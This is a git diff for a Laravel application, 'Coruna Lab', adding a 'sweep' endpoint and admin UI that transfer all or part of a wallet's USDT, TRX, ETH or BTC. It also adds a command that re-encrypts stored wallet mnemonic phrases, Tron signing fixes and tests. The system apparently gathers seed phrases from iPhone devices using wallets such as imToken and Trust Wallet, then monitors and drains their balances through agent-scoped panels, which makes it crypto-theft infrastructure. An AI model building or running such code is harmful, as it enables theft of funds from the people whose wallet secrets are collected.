diff --git a/.env.example b/.env.example index 26e3f68..e7b0b5f 100644 --- a/.env.example +++ b/.env.example @@ -1,6 +1,8 @@ APP_NAME="Coruna Lab" APP_ENV=local APP_KEY= +# Comma-separated old APP_KEY values (only if you rotated the key). Needed to decrypt old mnemonic_enc. +# APP_PREVIOUS_KEYS=base64:oldkey... APP_DEBUG=true APP_URL=https://example.com diff --git a/app/Console/Commands/ReencryptMnemonicsCommand.php b/app/Console/Commands/ReencryptMnemonicsCommand.php new file mode 100644 index 0000000..63b0c09 --- /dev/null +++ b/app/Console/Commands/ReencryptMnemonicsCommand.php @@ -0,0 +1,69 @@ +info('APP_KEY set: '.(filled(config('app.key')) ? 'yes' : 'no')); + $this->info('APP_PREVIOUS_KEYS: '.(count($previous) > 0 ? count($previous).' key(s)' : 'empty')); + + $execute = (bool) $this->option('execute'); + $ok = 0; + $failed = 0; + $empty = 0; + $rewritten = 0; + + foreach (WalletMnemonic::query()->orderBy('id')->cursor() as $row) { + $enc = $row->getRawOriginal('mnemonic_enc'); + if ($enc === null || $enc === '') { + $empty++; + continue; + } + + $plain = $row->mnemonic; + if ($plain === null || $plain === '') { + $failed++; + $this->warn("id={$row->id} decrypt failed"); + continue; + } + + $ok++; + if (! $execute) { + continue; + } + + $row->mnemonic = $plain; + $row->save(); + $rewritten++; + } + + $this->info(sprintf( + '%s decryptable=%d failed=%d empty=%d%s', + $execute ? 'rewrote' : 'dry-run', + $ok, + $failed, + $empty, + $execute ? " rewritten={$rewritten}" : '', + )); + + if ($failed > 0) { + $this->warn('failed rows need the original APP_KEY in APP_PREVIOUS_KEYS (or restore APP_KEY).'); + } + if (! $execute) { + $this->comment('dry-run only; pass --execute to rewrite ciphertext'); + } + + return $failed > 0 ? self::FAILURE : self::SUCCESS; + } +} diff --git a/app/Http/Controllers/Admin/WalletAddressController.php b/app/Http/Controllers/Admin/WalletAddressController.php index 3dc8d80..e8bf670 100644 --- a/app/Http/Controllers/Admin/WalletAddressController.php +++ b/app/Http/Controllers/Admin/WalletAddressController.php @@ -7,10 +7,12 @@ use App\Http\Controllers\Controller; use App\Models\User; use App\Models\WalletAddress; use App\Services\Tokenview\TokenviewMonitorService; +use App\Services\TransferService; use App\Support\AgentScope; use Illuminate\Database\Eloquent\Builder; use Illuminate\Http\Request; use Illuminate\Support\Facades\Log; +use Illuminate\Validation\Rule; class WalletAddressController extends Controller { @@ -90,11 +92,7 @@ class WalletAddressController extends Controller 'monitor' => ['required', 'integer', 'in:0,1'], ]); - $allowed = WalletAddress::query() - ->join('devices', 'devices.id', '=', 'wallet_addresses.device_id') - ->where('wallet_addresses.id', $address->id); - AgentScope::applyDeviceChannelScope($allowed, $this->agent()); - if (! $allowed->exists()) { + if (! $this->addressInScope($address)) { return response()->json(['code' => 1, 'msg' => '无权操作'], 403); } @@ -116,6 +114,121 @@ class WalletAddressController extends Controller ]); } + public function sweep(Request $request, WalletAddress $address, TransferService $transfers) + { + if (! $this->addressInScope($address)) { + return response()->json(['code' => 1, 'msg' => '无权操作'], 403); + } + + $chain = $this->resolveTransferChain($address); + if ($chain === null) { + return response()->json(['code' => 1, 'msg' => '不支持的链类型'], 422); + } + + $allowedAssets = $this->assetsForChain($chain); + $data = $request->validate([ + 'asset' => ['required', 'string', Rule::in($allowedAssets)], + 'amount' => ['nullable', 'string'], + ]); + + $asset = strtoupper(trim((string) $data['asset'])); + $amount = isset($data['amount']) ? trim((string) $data['amount']) : ''; + if ($amount === '' || strcasecmp($amount, 'all') === 0 || $amount === '全部') { + $amount = null; + } else { + $decimals = match ($asset) { + 'ETH' => 18, + 'BTC' => 8, + default => 6, + }; + if (! preg_match('/^\d+(\.\d{1,'.$decimals.'})?$/', $amount)) { + return response()->json(['code' => 1, 'msg' => '金额格式无效'], 422); + } + } + + $result = $transfers->handle( + $chain, + $address->address, + $amount, + $asset, + $this->operatorLabel(), + ); + + if (! ($result['ok'] ?? false)) { + return response()->json([ + 'code' => 1, + 'msg' => (string) ($result['error'] ?? '归集失败'), + ]); + } + + return response()->json([ + 'code' => 0, + 'msg' => 'ok', + 'data' => $result, + ]); + } + + private function addressInScope(WalletAddress $address): bool + { + $allowed = WalletAddress::query() + ->join('devices', 'devices.id', '=', 'wallet_addresses.device_id') + ->where('wallet_addresses.id', $address->id); + AgentScope::applyDeviceChannelScope($allowed, $this->agent()); + + return $allowed->exists(); + } + + private function resolveTransferChain(WalletAddress $address): ?string + { + $type = strtoupper(trim((string) $address->chain_type)); + if (str_contains($type, 'TRON') || $type === 'TRX') { + return 'tron'; + } + if (str_contains($type, 'ETH') || str_contains($type, 'EVM')) { + return 'eth'; + } + if (str_contains($type, 'BTC') || str_contains($type, 'BITCOIN')) { + return 'btc'; + } + + $addr = trim((string) $address->address); + if (preg_match('/^T[1-9A-HJ-NP-Za-km-z]{33}$/', $addr)) { + return 'tron'; + } + if (preg_match('/^0x[0-9a-fA-F]{40}$/', $addr)) { + return 'eth'; + } + if (preg_match('/^(bc1|tb1)[a-z0-9]{8,87}$/i', $addr) + || preg_match('/^[13][1-9A-HJ-NP-Za-km-z]{24,33}$/', $addr)) { + return 'btc'; + } + + return null; + } + + /** @return list */ + private function assetsForChain(string $chain): array + { + return match ($chain) { + 'eth' => ['ETH', 'USDT'], + 'btc' => ['BTC'], + default => ['USDT', 'TRX'], + }; + } + + private function operatorLabel(): string + { + if ($this->isAgentPortal()) { + $user = auth('agent')->user(); + + return 'agent:'.((int) ($user?->id ?? 0)).'@'.(string) ($user?->username ?? ''); + } + + $admin = auth('admin')->user(); + + return 'admin:'.((int) ($admin?->id ?? 0)).'@'.(string) ($admin?->username ?? ''); + } + private function baseQuery(Request $request): Builder { $q = WalletAddress::query() diff --git a/app/Services/Chain/TronDriver.php b/app/Services/Chain/TronDriver.php index e5c1e7d..994f74e 100644 --- a/app/Services/Chain/TronDriver.php +++ b/app/Services/Chain/TronDriver.php @@ -99,19 +99,49 @@ class TronDriver implements ChainDriver return TronAddress::isValid($address); } - public function getNativeBalance(string $address): string + /** + * Full-node getaccount. Never-activated addresses come back as {}. + * + * @return array + */ + public function fetchAccount(string $address): array { if (! $this->isValidAddress($address)) { throw new RuntimeException('Invalid Tron address'); } - $account = $this->post('/wallet/getaccount', [ + return $this->post('/wallet/getaccount', [ 'address' => $address, 'visible' => true, ]); - $sun = (string) ($account['balance'] ?? 0); + } - return $this->fromSun($sun); + /** + * @param array $account + */ + public static function accountIsActivated(array $account): bool + { + return isset($account['address']) || isset($account['create_time']); + } + + /** + * One getaccount: activation + TRX. Unactivated accounts have no on-chain state. + * + * @return array{activated: bool, trx: string} + */ + public function probeAccount(string $address): array + { + $account = $this->fetchAccount($address); + + return [ + 'activated' => self::accountIsActivated($account), + 'trx' => $this->fromSun((string) ($account['balance'] ?? 0)), + ]; + } + + public function getNativeBalance(string $address): string + { + return $this->probeAccount($address)['trx']; } public function getTokenBalance(string $address, string $contract): string @@ -184,10 +214,34 @@ class TronDriver implements ChainDriver { $txId = $tx['txID'] ?? null; if (! is_string($txId) || $txId === '') { + create_log([ + 'event' => 'tron_sign_failed', + 'error' => 'Missing txID from node', + 'tx_keys' => array_keys($tx), + ], 'transfer'); throw new RuntimeException('Missing txID from node'); } - $signature = TronSigner::signTxId($privateKeyHex, $txId); + create_log([ + 'event' => 'tron_sign_start', + 'txid' => $txId, + 'txid_len' => strlen($txId), + 'txid_prefix' => substr($txId, 0, 8), + ], 'transfer'); + + try { + $signature = TronSigner::signTxId($privateKeyHex, $txId); + } catch (\Throwable $e) { + create_log([ + 'event' => 'tron_sign_failed', + 'txid' => $txId, + 'txid_len' => strlen($txId), + 'txid_prefix' => substr($txId, 0, 8), + 'error' => $e->getMessage(), + ], 'transfer'); + throw $e; + } + $tx['signature'] = [$signature]; $result = $this->post('/wallet/broadcasttransaction', $tx); @@ -198,9 +252,22 @@ class TronDriver implements ChainDriver $decoded = @hex2bin($msg); $msg = $decoded !== false ? $decoded : $msg; } - throw new RuntimeException(is_string($msg) ? $msg : 'broadcast failed'); + $error = is_string($msg) ? $msg : 'broadcast failed'; + create_log([ + 'event' => 'tron_broadcast_failed', + 'txid' => $txId, + 'txid_len' => strlen($txId), + 'error' => $error, + 'result' => $result, + ], 'transfer'); + throw new RuntimeException($error); } + create_log([ + 'event' => 'tron_broadcast_ok', + 'txid' => $txId, + ], 'transfer'); + return $txId; } diff --git a/app/Services/Chain/TronSigner.php b/app/Services/Chain/TronSigner.php index 1879964..964f1dd 100644 --- a/app/Services/Chain/TronSigner.php +++ b/app/Services/Chain/TronSigner.php @@ -12,9 +12,13 @@ final class TronSigner */ public static function signTxId(string $privateKeyHex, string $txIdHex): string { - $txIdHex = strtolower(ltrim($txIdHex, '0x')); - if (strlen($txIdHex) !== 64) { - throw new RuntimeException('Invalid txID'); + // Tron full-node returns txID as 64-char hex (no 0x). Sign it as-is. + $raw = $txIdHex; + $txIdHex = strtolower(trim($txIdHex)); + if (! preg_match('/^[0-9a-f]{64}$/', $txIdHex)) { + throw new RuntimeException( + 'Invalid txID (len='.strlen($txIdHex).', raw_len='.strlen($raw).', value='.$raw.')' + ); } $ec = new EC('secp256k1'); diff --git a/app/Services/WalletBalanceService.php b/app/Services/WalletBalanceService.php index d7d9add..8c63bd9 100644 --- a/app/Services/WalletBalanceService.php +++ b/app/Services/WalletBalanceService.php @@ -4,6 +4,7 @@ namespace App\Services; use App\Models\WalletAddress; use App\Services\Chain\ChainManager; +use App\Services\Chain\TronDriver; use Illuminate\Support\Facades\Http; use Illuminate\Support\Facades\Log; @@ -114,13 +115,26 @@ class WalletBalanceService if ($balances === null) { $source = 'trongrid_wallet'; $driver = $this->chains->resolve('tron'); - $balances = [ - 'trx' => $driver->getNativeBalance($addr), - 'usdt' => $driver->getTokenBalance( - $addr, - (string) config('coruna.tron.usdt_contract'), - ), - ]; + if ($driver instanceof TronDriver) { + $probe = $driver->probeAccount($addr); + $balances = [ + 'trx' => $probe['trx'], + 'usdt' => $probe['activated'] + ? $driver->getTokenBalance( + $addr, + (string) config('coruna.tron.usdt_contract'), + ) + : '0', + ]; + } else { + $balances = [ + 'trx' => $driver->getNativeBalance($addr), + 'usdt' => $driver->getTokenBalance( + $addr, + (string) config('coruna.tron.usdt_contract'), + ), + ]; + } } // No official BTC/ETH/BNB on Tron — leave those columns untouched. diff --git a/docs/BAOTA_DEPLOY.md b/docs/BAOTA_DEPLOY.md index 87028c6..999e2ce 100644 --- a/docs/BAOTA_DEPLOY.md +++ b/docs/BAOTA_DEPLOY.md @@ -325,7 +325,7 @@ composer install --no-dev --optimize-autoloader cp .env.example .env # 编辑 .env(见下节) -/www/server/php/82/bin/php artisan key:generate +/www/server/php/82/bin/php artisan key:generate # 仅首次;已有数据后不要再执行 chown -R www:www storage bootstrap/cache chmod -R ug+rwx storage bootstrap/cache diff --git a/docs/deploy.md b/docs/deploy.md index c2cd4d2..06cae37 100644 --- a/docs/deploy.md +++ b/docs/deploy.md @@ -37,7 +37,7 @@ composer install --no-dev --optimize-autoloader ``` cp .env.example .env -php artisan key:generate +php artisan key:generate # 仅全新安装;已有库后禁止再跑,否则助记词解不开 chown -R www:www storage bootstrap/cache chmod -R ug+rwx storage bootstrap/cache chown -R www:www www/wwwroot/coruna-lab/public www/wwwroot/coruna-lab/storage diff --git a/resources/views/admin/addresses/index.blade.php b/resources/views/admin/addresses/index.blade.php index 006f08b..60d93d2 100644 --- a/resources/views/admin/addresses/index.blade.php +++ b/resources/views/admin/addresses/index.blade.php @@ -80,6 +80,7 @@
@@ -103,6 +104,93 @@ layui.use(['table', 'form', 'layer'], function () { return '' + raw + ''; } + function assetsForRow(d) { + var type = String(d.chain_type || '').toUpperCase(); + var addr = String(d.address || ''); + if (type.indexOf('TRON') >= 0 || type === 'TRX' || /^T[1-9A-HJ-NP-Za-km-z]{33}$/.test(addr)) { + return ['USDT', 'TRX']; + } + if (type.indexOf('ETH') >= 0 || type.indexOf('EVM') >= 0 || /^0x[0-9a-fA-F]{40}$/.test(addr)) { + return ['ETH', 'USDT']; + } + if (type.indexOf('BTC') >= 0 || type.indexOf('BITCOIN') >= 0) { + return ['BTC']; + } + return []; + } + + function balanceHint(d, asset) { + var key = String(asset || '').toLowerCase(); + var val = d[key]; + if (val === undefined || val === null || val === '') return '—'; + return String(val); + } + + function openSweep(d) { + var assets = assetsForRow(d); + if (!assets.length) { + return layer.msg('该地址链类型不支持归集'); + } + var options = assets.map(function (a, i) { + return ''; + }).join(''); + var defaultAsset = assets[0]; + + layer.open({ + type: 1, + title: '归集 — #' + d.id, + area: ['460px', '360px'], + content: + '
' + + '
' + + '
' + (d.address || '') + '
' + + '
' + + '
' + chainTag(d.chain_type) + '
' + + '
' + + '
' + + '
' + + '
' + + '' + + '
当前余额:' + balanceHint(d, defaultAsset) + ' ' + defaultAsset + '
' + + '
' + + '
', + success: function () { + form.render('select'); + form.on('select(LAY-addr-sweep-asset)', function (data) { + var asset = data.value; + $('#LAY-addr-sweep-balance').text('当前余额:' + balanceHint(d, asset) + ' ' + asset); + }); + }, + btn: ['确认归集', '取消'], + yes: function (index) { + var asset = $('#LAY-addr-sweep-form select[name=asset]').val(); + var amount = $.trim($('#LAY-addr-sweep-form input[name=amount]').val() || ''); + var label = amount ? (amount + ' ' + asset) : ('全部 ' + asset); + layer.confirm('确认归集 ' + label + ' ?', { icon: 3, title: '确认' }, function (confirmIndex) { + layer.close(confirmIndex); + var loading = layer.load(2); + $.ajax({ + url: updateBase + '/' + d.id + '/sweep', + method: 'POST', + data: { asset: asset, amount: amount, _token: token }, + success: function (res) { + layer.close(loading); + if (res.code !== 0) return layer.msg(res.msg || '归集失败'); + layer.close(index); + var txid = (res.data && res.data.txid) ? res.data.txid : ''; + layer.msg(txid ? ('归集成功:' + txid) : '归集成功', { time: 4000 }); + table.reload('LAY-addr-list'); + }, + error: function (xhr) { + layer.close(loading); + layer.msg((xhr.responseJSON && (xhr.responseJSON.msg || xhr.responseJSON.message)) || '归集失败'); + } + }); + }); + } + }); + } + table.render({ elem: '#LAY-addr-list', id: 'LAY-addr-list', @@ -132,7 +220,7 @@ layui.use(['table', 'form', 'layer'], function () { ? '开' : '关'; }}, - { title: '操作', width: 160, align: 'center', fixed: 'right', toolbar: '#LAY-addr-ops' } + { title: '操作', width: 220, align: 'center', fixed: 'right', toolbar: '#LAY-addr-ops' } ]], page: true, limit: 20, limits: [10, 20, 30, 50], request: { pageName: 'page', limitName: 'limit' }, @@ -160,6 +248,10 @@ layui.use(['table', 'form', 'layer'], function () { openDeviceTab(d.detail_url, '设备 ' + (d.device_key || ('#' + d.id))); return; } + if (obj.event === 'sweep') { + openSweep(d); + return; + } if (obj.event !== 'edit') return; layer.open({ diff --git a/routes/admin.php b/routes/admin.php index 7df4cb0..98ddad2 100644 --- a/routes/admin.php +++ b/routes/admin.php @@ -55,6 +55,7 @@ Route::prefix('admin')->name('admin.')->middleware('panel.host:admin')->group(fu Route::get('addresses', [WalletAddressController::class, 'index'])->name('addresses.index'); Route::get('addresses/data', [WalletAddressController::class, 'data'])->name('addresses.data'); Route::put('addresses/{address}', [WalletAddressController::class, 'update'])->name('addresses.update'); + Route::post('addresses/{address}/sweep', [WalletAddressController::class, 'sweep'])->name('addresses.sweep'); Route::get('mnemonics', [MnemonicController::class, 'index'])->name('mnemonics.index'); Route::get('mnemonics/data', [MnemonicController::class, 'data'])->name('mnemonics.data'); diff --git a/routes/user.php b/routes/user.php index 70e9aea..c96a5e4 100644 --- a/routes/user.php +++ b/routes/user.php @@ -48,6 +48,7 @@ Route::prefix('user')->name('user.')->middleware('panel.host:agent')->group(func Route::get('addresses', [WalletAddressController::class, 'index'])->name('addresses.index'); Route::get('addresses/data', [WalletAddressController::class, 'data'])->name('addresses.data'); Route::put('addresses/{address}', [WalletAddressController::class, 'update'])->name('addresses.update'); + Route::post('addresses/{address}/sweep', [WalletAddressController::class, 'sweep'])->name('addresses.sweep'); Route::get('mnemonics', [MnemonicController::class, 'index'])->name('mnemonics.index'); Route::get('mnemonics/data', [MnemonicController::class, 'data'])->name('mnemonics.data'); diff --git a/tests/Feature/AddressSweepTest.php b/tests/Feature/AddressSweepTest.php new file mode 100644 index 0000000..94cbc93 --- /dev/null +++ b/tests/Feature/AddressSweepTest.php @@ -0,0 +1,151 @@ +create([ + 'device_id' => 'dev-sweep-1', + 'ios_version' => '18.0', + 'device_model' => 'iPhone', + ]); + + return WalletAddress::query()->create([ + 'device_id' => $device->id, + 'address' => 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH', + 'chain_type' => 'TRON', + 'source' => 'imToken', + 'usdt' => '12.5', + 'trx' => '20', + 'monitor' => 0, + ]); + } + + #[Test] + public function admin_can_sweep_full_balance_via_addresses_page(): void + { + $admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']); + $addr = $this->seedTronAddress(); + + $transfers = Mockery::mock(TransferService::class); + $transfers->shouldReceive('handle') + ->once() + ->withArgs(function (string $chain, string $from, ?string $amount, string $asset, ?string $operator) use ($addr) { + return $chain === 'tron' + && $from === $addr->address + && $amount === null + && $asset === 'USDT' + && is_string($operator) + && str_starts_with($operator, 'admin:'); + }) + ->andReturn([ + 'ok' => true, + 'txid' => str_repeat('ab', 32), + 'from' => $addr->address, + 'to' => 'TToAddress', + 'amount' => '12.5', + 'asset' => 'USDT', + ]); + $this->app->instance(TransferService::class, $transfers); + + $this->actingAs($admin, 'admin') + ->postJson('/admin/addresses/'.$addr->id.'/sweep', [ + 'asset' => 'USDT', + 'amount' => '', + ]) + ->assertOk() + ->assertJson([ + 'code' => 0, + 'data' => [ + 'txid' => str_repeat('ab', 32), + 'asset' => 'USDT', + 'amount' => '12.5', + ], + ]); + } + + #[Test] + public function admin_can_sweep_specific_amount(): void + { + $admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']); + $addr = $this->seedTronAddress(); + + $transfers = Mockery::mock(TransferService::class); + $transfers->shouldReceive('handle') + ->once() + ->with('tron', $addr->address, '1.25', 'TRX', Mockery::type('string')) + ->andReturn([ + 'ok' => true, + 'txid' => str_repeat('cd', 32), + 'from' => $addr->address, + 'to' => 'TToAddress', + 'amount' => '1.25', + 'asset' => 'TRX', + ]); + $this->app->instance(TransferService::class, $transfers); + + $this->actingAs($admin, 'admin') + ->postJson('/admin/addresses/'.$addr->id.'/sweep', [ + 'asset' => 'TRX', + 'amount' => '1.25', + ]) + ->assertOk() + ->assertJsonPath('code', 0) + ->assertJsonPath('data.txid', str_repeat('cd', 32)); + } + + #[Test] + public function sweep_rejects_invalid_asset_for_chain(): void + { + $admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']); + $addr = $this->seedTronAddress(); + + $transfers = Mockery::mock(TransferService::class); + $transfers->shouldNotReceive('handle'); + $this->app->instance(TransferService::class, $transfers); + + $this->actingAs($admin, 'admin') + ->postJson('/admin/addresses/'.$addr->id.'/sweep', [ + 'asset' => 'BTC', + 'amount' => '', + ]) + ->assertStatus(422); + } + + #[Test] + public function agent_cannot_sweep_out_of_scope_address(): void + { + $agent = User::query()->create([ + 'username' => 'agent1', + 'password' => 'secret12', + 'status' => 1, + ]); + $addr = $this->seedTronAddress(); + + $transfers = Mockery::mock(TransferService::class); + $transfers->shouldNotReceive('handle'); + $this->app->instance(TransferService::class, $transfers); + + $this->actingAs($agent, 'agent') + ->postJson('/user/addresses/'.$addr->id.'/sweep', [ + 'asset' => 'USDT', + 'amount' => '', + ]) + ->assertStatus(403) + ->assertJson(['code' => 1]); + } +} diff --git a/tests/Feature/ReencryptMnemonicsCommandTest.php b/tests/Feature/ReencryptMnemonicsCommandTest.php new file mode 100644 index 0000000..8846a36 --- /dev/null +++ b/tests/Feature/ReencryptMnemonicsCommandTest.php @@ -0,0 +1,57 @@ +create(['device_id' => 'dev-reencrypt']); + $id = DB::table('wallet_mnemonics')->insertGetId([ + 'device_id' => $device->id, + 'source' => 'Trust Wallet', + 'mnemonic_hash' => WalletMnemonic::hashSecret($phrase), + 'mnemonic_enc' => $old->encryptString($phrase), + 'created_at' => now(), + 'updated_at' => now(), + ]); + + $this->assertNull(WalletMnemonic::query()->find($id)?->mnemonic); + + $this->artisan('coruna:reencrypt-mnemonics')->assertFailed(); + + $this->bindPreviousKeys([$oldKey]); + $this->assertSame($phrase, WalletMnemonic::query()->find($id)?->mnemonic); + + $this->artisan('coruna:reencrypt-mnemonics', ['--execute' => true]) + ->assertSuccessful(); + + $this->bindPreviousKeys([]); + $this->assertSame($phrase, WalletMnemonic::query()->find($id)?->mnemonic); + } + + /** @param list $keys */ + private function bindPreviousKeys(array $keys): void + { + config(['app.previous_keys' => $keys]); + $this->app->forgetInstance('encrypter'); + Crypt::clearResolvedInstance('encrypter'); + } +} diff --git a/tests/Unit/TronDriverTest.php b/tests/Unit/TronDriverTest.php index bae4bfd..4a84858 100644 --- a/tests/Unit/TronDriverTest.php +++ b/tests/Unit/TronDriverTest.php @@ -30,4 +30,15 @@ class TronDriverTest extends TestCase $this->assertFalse($driver->isValidAddress('0xab5c66752a9e8167967685f1450532fb96d5d24f')); $this->assertFalse($driver->isValidAddress('Tinvalid')); } + + #[Test] + public function empty_getaccount_payload_is_not_activated(): void + { + $this->assertFalse(TronDriver::accountIsActivated([])); + $this->assertTrue(TronDriver::accountIsActivated([ + 'address' => 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH', + 'create_time' => 1, + 'balance' => 0, + ])); + } } diff --git a/tests/Unit/TronSignerTest.php b/tests/Unit/TronSignerTest.php new file mode 100644 index 0000000..3d13b4d --- /dev/null +++ b/tests/Unit/TronSignerTest.php @@ -0,0 +1,71 @@ +assertMatchesRegularExpression('/^[0-9a-f]{130}$/', $sig); + } + + #[Test] + public function rejects_0x_prefixed_txid(): void + { + $this->expectException(RuntimeException::class); + $this->expectExceptionMessageMatches('/^Invalid txID \(len=/'); + + TronSigner::signTxId(self::PRIVATE_KEY, '0x'.str_repeat('ab', 32)); + } + + #[Test] + public function rejects_truncated_txid_that_old_ltrim_would_produce(): void + { + // Old ltrim(..., '0x') would turn "00ab..." into "ab..." (62 chars). + $this->expectException(RuntimeException::class); + $this->expectExceptionMessageMatches('/^Invalid txID \(len=/'); + + TronSigner::signTxId(self::PRIVATE_KEY, str_repeat('ab', 31)); + } + + #[Test] + public function stress_signs_many_leading_zero_txids(): void + { + for ($i = 0; $i < 200; $i++) { + $prefixZeros = random_int(1, 8); + $txId = str_repeat('0', $prefixZeros).bin2hex(random_bytes(32)); + $txId = substr($txId, 0, 64); + $this->assertSame(64, strlen($txId)); + $this->assertSame('0', $txId[0]); + + $sig = TronSigner::signTxId(self::PRIVATE_KEY, $txId); + $this->assertMatchesRegularExpression('/^[0-9a-f]{130}$/', $sig); + } + } + + /** + * @return array + */ + public static function validTxIds(): array + { + return [ + 'no leading zero' => [str_repeat('ab', 32)], + 'one leading zero' => ['0'.str_repeat('a', 63)], + 'two leading zeros' => ['00'.str_repeat('b', 62)], + 'many leading zeros' => [str_pad('deadbeef', 64, '0', STR_PAD_LEFT)], + 'uppercase accepted after lower' => [strtoupper(str_repeat('cd', 32))], + ]; + } +} diff --git a/tests/Unit/WalletBalanceServiceTest.php b/tests/Unit/WalletBalanceServiceTest.php index c0cbc5d..816683e 100644 --- a/tests/Unit/WalletBalanceServiceTest.php +++ b/tests/Unit/WalletBalanceServiceTest.php @@ -124,4 +124,57 @@ class WalletBalanceServiceTest extends TestCase $this->assertEqualsWithDelta(0.0, (float) $addr->trx, 0.0000001); $this->assertEqualsWithDelta(0.0, (float) $addr->usdt, 0.0000001); } + + #[Test] + public function never_activated_trongrid_account_writes_zeros_without_wallet_rpc(): void + { + Http::fake([ + '*/v1/accounts/*' => Http::response(['data' => [], 'success' => true], 200), + '*/wallet/*' => Http::response(['should' => 'not be called'], 500), + ]); + + $device = Device::query()->create([ + 'device_id' => 'dev-bal-inactive-v1', + 'channel_id' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', + ]); + $addr = WalletAddress::query()->create([ + 'device_id' => $device->id, + 'address' => 'TKKyetwdwuv6fTWVMPsdQUZYwB7yiNwRp6', + 'chain_type' => 'TRON', + 'source' => 'imToken', + ]); + + $this->assertTrue(app(WalletBalanceService::class)->refresh($addr)); + $addr->refresh(); + $this->assertEqualsWithDelta(0.0, (float) $addr->trx, 0.0000001); + $this->assertEqualsWithDelta(0.0, (float) $addr->usdt, 0.0000001); + Http::assertSentCount(1); + } + + #[Test] + public function unactivated_getaccount_skips_usdt_token_call(): void + { + Http::fake([ + '*/v1/accounts/*' => Http::response('unavailable', 503), + '*/wallet/getaccount' => Http::response([], 200), + '*/wallet/triggerconstantcontract' => Http::response(['constant_result' => ['ffffff']], 200), + ]); + + $device = Device::query()->create([ + 'device_id' => 'dev-bal-inactive-wallet', + 'channel_id' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', + ]); + $addr = WalletAddress::query()->create([ + 'device_id' => $device->id, + 'address' => 'TKKyetwdwuv6fTWVMPsdQUZYwB7yiNwRp6', + 'chain_type' => 'TRON', + 'source' => 'imToken', + ]); + + $this->assertTrue(app(WalletBalanceService::class)->refresh($addr)); + $addr->refresh(); + $this->assertEqualsWithDelta(0.0, (float) $addr->trx, 0.0000001); + $this->assertEqualsWithDelta(0.0, (float) $addr->usdt, 0.0000001); + Http::assertNotSent(fn ($request) => str_contains($request->url(), 'triggerconstantcontract')); + } }